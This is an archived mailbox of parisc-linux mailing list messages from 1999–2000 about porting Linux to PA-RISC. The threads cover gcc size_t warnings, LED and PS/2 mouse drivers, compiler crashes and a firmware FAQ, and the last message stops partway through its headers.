Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29681
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 13:26:22 -0700
Original-Received: (qmail 939 invoked by uid 15267); 27 Nov 2000 20:28:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 916 invoked from network); 27 Nov 2000 20:28:39 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 20:28:39 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 28F77D15A4
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Nov 2000 21:28:38 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksecure i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8626

Hi folks,

	Just to know if it is a local problem. We have this warning when we
cross compile the kernel:

/linux/cvs/linux/include/linux/string.h:61: warning: conflicting types
for built-in function `memset'
/linux/cvs/linux/include/linux/string.h:64: warning: conflicting types
for built-in function `memcpy'
/linux/cvs/linux/include/linux/string.h:73: warning: conflicting types
for built-in function `memcmp'

Can we have your point of view?

Bye, ESIEE Team


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Leds
Date: Tue, 28 Nov 2000 00:17:24 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <3A22EB84.55C1B979@esiee.fr>
References: <200011271757.JAA25357@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619347 7127 80.91.229.3 (22 Nov 2014 01:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: marteaut@esiee.fr  Mon Nov 27 16:12:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31900
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 16:12:29 -0700
Original-Received: (qmail 8542 invoked by uid 15267); 27 Nov 2000 23:14:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8527 invoked from network); 27 Nov 2000 23:14:52 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 23:14:52 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id E4605D15A3; Tue, 28 Nov 2000 00:14:51 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksecure i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8627

Hi all,

	We tried to implement the led power of 712 hp boxes. We call leds_init
in main.c in init directory. Even though it is working, we are not sure
where to put the source that must be completed for others models.

We could make a LEDS directory in drivers
	 put the file in the kernel directory

We also put the source for the initialisation of keyboard leds in
lasi_ps2_reset but we admit that no led is on. Is it true?
How can we know?

THX, ESIEE Team


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The kernel builds!!!
Date: Sat, 1 May 1999 01:41:55 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990501014137.10592V-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619348 7129 80.91.229.3 (22 Nov 2014 01:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sat May  1 01:51:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA18210
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 May 1999 01:51:26 -0600
Original-Received: (qmail 5742 invoked by uid 15267); 1 May 1999 07:49:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5728 invoked from network); 1 May 1999 07:49:29 -0000
Original-Received: from devserv.devel.redhat.com (root@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 07:49:29 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA27797
	for <parisc-linux@thepuffingroup.com>; Sat, 1 May 1999 01:41:56 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8628


On Sat, 1 May 1999, Philipp Rumpf wrote:
> prumpf@insula:~/cvs-s/parisc/linux > ls -l vmlinux 
> -rwxr-xr-x   1 prumpf   users      353695 May  1 03:01 vmlinux
> 

I'm pretty sure that this is the first every monolithic kernel to be build
for PA RISC.

This is a pretty significant feat, and I'd encourage you wherever you are
to stand up and clap your hands/wings to Philipp and everyone else who's
helped out. 

This is going very very well... I hope people can appreciate the
significance of this step.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team





From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc crashes/out of memory and groff
Date: Tue, 28 Nov 2000 12:12:03 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011281105200.3003-100000@front.linuxcare.com.au>
References: <E140T6e-0003Rc-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619348 7132 80.91.229.3 (22 Nov 2014 01:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: alan@linuxcare.com.au  Mon Nov 27 18:13:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA00999
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 18:13:35 -0700
Original-Received: (qmail 3637 invoked by uid 15267); 28 Nov 2000 01:15:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30681 invoked from network); 28 Nov 2000 01:12:19 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 01:12:19 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA06856;
	Tue, 28 Nov 2000 12:12:03 +1100
In-Reply-To: <E140T6e-0003Rc-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:8629

On Mon, 27 Nov 2000, Alan Cox wrote:

> With groff -fno-gcse does not help but -O0 does. Without -O0 you get an
> internal error.

Cross compiling from an x86-linux box with enough memory+swap (256M + 2G),
env.cc eventually compiled for me using the default -O2 optimisation
level.  I had a crash later when compiling preproc/tbl/table.cc, so that's
nothing to boast about.

table.cc: In member function `void table::build_span_list ()':
table.cc:2009: Internal error: Segmentation fault.

Worse, when I added "-Q -da" to see what was happening, the compile
succeeded - and also succeeded with either of -Q or -da alone.  So I
ran cc1plus under gdb, and that too failed to crash.  :-(
Maybe a garbage collection or uninitialised var bug?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 15:59:54 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011281521520.7628-100000@front.linuxcare.com.au>
References: <3A22C48D.F5F85405@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619348 7133 80.91.229.3 (22 Nov 2014 01:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:28 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: alan@linuxcare.com.au  Mon Nov 27 21:58:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA02551
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 21:58:20 -0700
Original-Received: (qmail 6418 invoked by uid 15267); 28 Nov 2000 05:00:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6053 invoked from network); 28 Nov 2000 05:00:25 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 05:00:25 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA13306;
	Tue, 28 Nov 2000 15:59:54 +1100
In-Reply-To: <3A22C48D.F5F85405@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8630

On Mon, 27 Nov 2000, Thomas Marteau wrote:

> Can we have your point of view?

Your version of gcc expects the size_t parameter to all these functions to
be "unsigned int", whereas the 2000/11/18 changes to
linux/include/asm-parisc/posix_types.h made __kernel_size_t
"unsigned long".

As far as I understand, gcc's cpp has a built-in definition of size_t,
__SIZE_TYPE__, and it ultimately gets it's idea of the definition from the
kernel includes on the machine where gcc was compiled.  ie. recompile gcc
with the new kernel headers installed, and the problem should go away.

For 32-bit hppa-linux, sizeof(int) == sizeof(long) so there shouldn't be
any practical consequence other than these warning messages.  There might
be some "interesting" problems on hppa64-linux - I'm not sure.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 20:19:20 +1100 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011282016040.18407-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0011281521520.7628-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619349 7139 80.91.229.3 (22 Nov 2014 01:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:29 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: alan@linuxcare.com.au  Tue Nov 28 02:18:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55] (may be forged))
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA04356
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 02:18:32 -0700
Original-Received: (qmail 7519 invoked by uid 15267); 28 Nov 2000 09:19:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7507 invoked from network); 28 Nov 2000 09:19:49 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 09:19:49 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA19136;
	Tue, 28 Nov 2000 20:19:20 +1100
In-Reply-To: <Pine.LNX.4.21.0011281521520.7628-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8631

On Tue, 28 Nov 2000, Alan Modra wrote:

> As far as I understand, gcc's cpp has a built-in definition of size_t,
> __SIZE_TYPE__, and it ultimately gets it's idea of the definition from the
> kernel includes on the machine where gcc was compiled.  ie. recompile gcc
> with the new kernel headers installed, and the problem should go away.

No, that's wrong.  __SIZE_TYPE__ comes from `#define SIZE_TYPE' in
gcc/config/pa/pa-linux{,64}.h  I'll check in a patch to gcc in a few
moments.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mouse driver for PS/2
Date: Tue, 28 Nov 2000 16:07:04 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <3A23CA18.1171E884@esiee.fr>
References: <3A22C48D.F5F85405@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619349 7142 80.91.229.3 (22 Nov 2014 01:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:29 +0000 (UTC)
To: Puffin Group <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Tue Nov 28 08:02:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA07181
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 08:02:32 -0700
Original-Received: (qmail 3232 invoked by uid 15267); 28 Nov 2000 15:04:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3111 invoked from network); 28 Nov 2000 15:04:30 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 15:04:30 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 33726D15A1
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Nov 2000 16:04:26 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksecure i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8632

Hi all,

	We appreciate if someone can explain where we can find request_irq and
request_region in hp_psaux.c and also,
what are they doing?

Thanks,
ESIEE Team


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse driver for PS/2
Date: Tue, 28 Nov 2000 18:21:34 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <00112818213403.13860@P100>
References: <3A22C48D.F5F85405@esiee.fr> <3A23CA18.1171E884@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619349 7143 80.91.229.3 (22 Nov 2014 01:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:29 +0000 (UTC)
To: Thomas Marteau <marteaut@esiee.fr>,
        Puffin Group <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Tue Nov 28 10:19:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08490
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 10:19:52 -0700
Original-Received: (qmail 23049 invoked by uid 15267); 28 Nov 2000 17:21:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23029 invoked from network); 28 Nov 2000 17:21:58 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 17:21:58 -0000
Original-Received: (qmail 29270 invoked by uid 0); 28 Nov 2000 17:21:31 -0000
Original-Received: from pd9040393.dip.t-dialin.net (HELO P100) (217.4.3.147)
  by mail.gmx.net (mail03) with SMTP; 28 Nov 2000 17:21:31 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A23CA18.1171E884@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8633

On Tuesday 28 November 2000 16:07, Thomas Marteau wrote:
> Hi all,

Hi Thomas,

>
> 	We appreciate if someone can explain where we can find request_irq

#include <linux/sched.h> and /arch/parisc/kernel/irq.c
request_irq() binds the given interrupt-number to a function (if possible).

> and
> request_region 

#include <linux/ioport.h>
request_region only marks (and tests) an I/O-region as used by a driver and 
makes this information visible via /proc/iomem and /proc/ioports.

> in hp_psaux.c and also,
> what are they doing?
>
> Thanks,
> ESIEE Team


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: William Ferguson <wferguson@server01.chatspace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PDC firmware revision FAQ update
Date: Tue, 28 Nov 2000 09:35:36 -0800
Lines: 139
Approved: news@gmane.org
Message-ID: <D129C739829DD411855A00E018C42729042D68@server01.chatspace.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C05961.9E1AB8A8"
X-Trace: ger.gmane.org 1416619349 7146 80.91.229.3 (22 Nov 2014 01:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:29 +0000 (UTC)
To: "'Grant Grundler'" <grundler@cup.hp.com>,
        "'parisc-linux@puffin.external.hp.com'"
	 <parisc-linux@puffin.external.hp.com>
Original-X-From: wferguson@server01.chatspace.com  Tue Nov 28 10:34:24 2000
Original-Received: from chatspace.com ([63.102.226.201])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA09208
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 10:34:20 -0700
Original-Received: from server01.chatspace.com by chatspace.com
	with SMTP (MDaemon.v3.1.2.R)
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 09:35:43 -0800
Original-Received: by server01.chatspace.com with Internet Mail Service (5.5.2448.0)
	id <WVT4MBJ4>; Tue, 28 Nov 2000 09:35:37 -0800
X-Mailer: Internet Mail Service (5.5.2448.0)
X-MDRcpt-To: parisc-linux@puffin.external.hp.com
X-Return-Path: wferguson@server01.chatspace.com
X-MDaemon-Deliver-To: parisc-linux@puffin.external.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:8634

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05961.9E1AB8A8
Content-Type: text/plain;
	charset="iso-8859-1"

Is the web server at www.parisc-linux.org down?  Can't seem to connect from
San Diego.

-----Original Message-----
From: Grant Grundler [mailto:grundler@cup.hp.com]
Sent: Friday, November 17, 2000 1:51 PM
To: parisc-linux@puffin.external.hp.com
Subject: [parisc-linux] PDC firmware revision FAQ update


Hi folks,

The issue of PDC/firmware revs came up locally and sounded like a FAQ.
I added

    "10. How can I check if the PDC (firmware) revision is the latest?"

and what I knew/could find to our FAQ at:

	http://www.parisc-linux.org/faq.html

The new FAQ entry should be visible to the world in the next hour or so.


    **** WARNING ****
    Firmware upgrades can *kill* your machine!
    **** WARNING ****

Don't do it just because. Read the FAQ carefully. Take the
time to figure out why you might need the upgrade and expose
yourself to this risk.

grant

ps. please don't ask me why your favorite machine's PDC isn't listed.
   I don't run the referenced sites.

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.


------_=_NextPart_001_01C05961.9E1AB8A8
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2448.0">
<TITLE>RE: [parisc-linux] PDC firmware revision FAQ update</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Is the web server at www.parisc-linux.org down?&nbsp; =
Can't seem to connect from San Diego.</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Grant Grundler [<A =
HREF=3D"mailto:grundler@cup.hp.com">mailto:grundler@cup.hp.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Friday, November 17, 2000 1:51 PM</FONT>
<BR><FONT SIZE=3D2>To: parisc-linux@puffin.external.hp.com</FONT>
<BR><FONT SIZE=3D2>Subject: [parisc-linux] PDC firmware revision FAQ =
update</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hi folks,</FONT>
</P>

<P><FONT SIZE=3D2>The issue of PDC/firmware revs came up locally and =
sounded like a FAQ.</FONT>
<BR><FONT SIZE=3D2>I added</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &quot;10. How can I check if the =
PDC (firmware) revision is the latest?&quot;</FONT>
</P>

<P><FONT SIZE=3D2>and what I knew/could find to our FAQ at:</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2><A =
HREF=3D"http://www.parisc-linux.org/faq.html" =
TARGET=3D"_blank">http://www.parisc-linux.org/faq.html</A></FONT>
</P>

<P><FONT SIZE=3D2>The new FAQ entry should be visible to the world in =
the next hour or so.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; **** WARNING ****</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Firmware upgrades can *kill* your =
machine!</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; **** WARNING ****</FONT>
</P>

<P><FONT SIZE=3D2>Don't do it just because. Read the FAQ carefully. =
Take the</FONT>
<BR><FONT SIZE=3D2>time to figure out why you might need the upgrade =
and expose</FONT>
<BR><FONT SIZE=3D2>yourself to this risk.</FONT>
</P>

<P><FONT SIZE=3D2>grant</FONT>
</P>

<P><FONT SIZE=3D2>ps. please don't ask me why your favorite machine's =
PDC isn't listed.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; I don't run the referenced =
sites.</FONT>
</P>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
------------</FONT>
<BR><FONT SIZE=3D2>To unsubscribe: send e-mail to =
parisc-linux-request@thepuffingroup.com with</FONT>
<BR><FONT SIZE=3D2>`unsubscribe' as the subject.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C05961.9E1AB8A8--


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 12:37:28 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200011281737.MAA24142@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0011282016040.18407-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619350 7148 80.91.229.3 (22 Nov 2014 01:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:30 +0000 (UTC)
Cc: marteaut@esiee.fr, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 28 10:35:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09486
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 10:35:29 -0700
Original-Received: (qmail 16859 invoked by uid 15267); 28 Nov 2000 17:37:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16841 invoked from network); 28 Nov 2000 17:37:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 17:37:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA24142;
	Tue, 28 Nov 2000 12:37:29 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0011282016040.18407-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 28, 2000 08:19:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8635

> On Tue, 28 Nov 2000, Alan Modra wrote:
> 
> > As far as I understand, gcc's cpp has a built-in definition of size_t,
> > __SIZE_TYPE__, and it ultimately gets it's idea of the definition from the
> > kernel includes on the machine where gcc was compiled.  ie. recompile gcc
> > with the new kernel headers installed, and the problem should go away.
> 
> No, that's wrong.  __SIZE_TYPE__ comes from `#define SIZE_TYPE' in
> gcc/config/pa/pa-linux{,64}.h  I'll check in a patch to gcc in a few
> moments.

Hmm.  Most 32 bit systems use "unsigned int" rather than "unsigned long".
Using "unsigned long" might cause problems with packages like libio.
I know there is a problem if off_t is not the same as size_t.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse driver for PS/2
Date: Tue, 28 Nov 2000 09:49:26 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200011281749.JAA26808@milano.cup.hp.com>
References: <3A23CA18.1171E884@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619350 7151 80.91.229.3 (22 Nov 2014 01:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:30 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Tue Nov 28 10:46:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10532
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 10:46:51 -0700
Original-Received: (qmail 3053 invoked by uid 15267); 28 Nov 2000 17:49:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3016 invoked from network); 28 Nov 2000 17:49:13 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 17:49:13 -0000
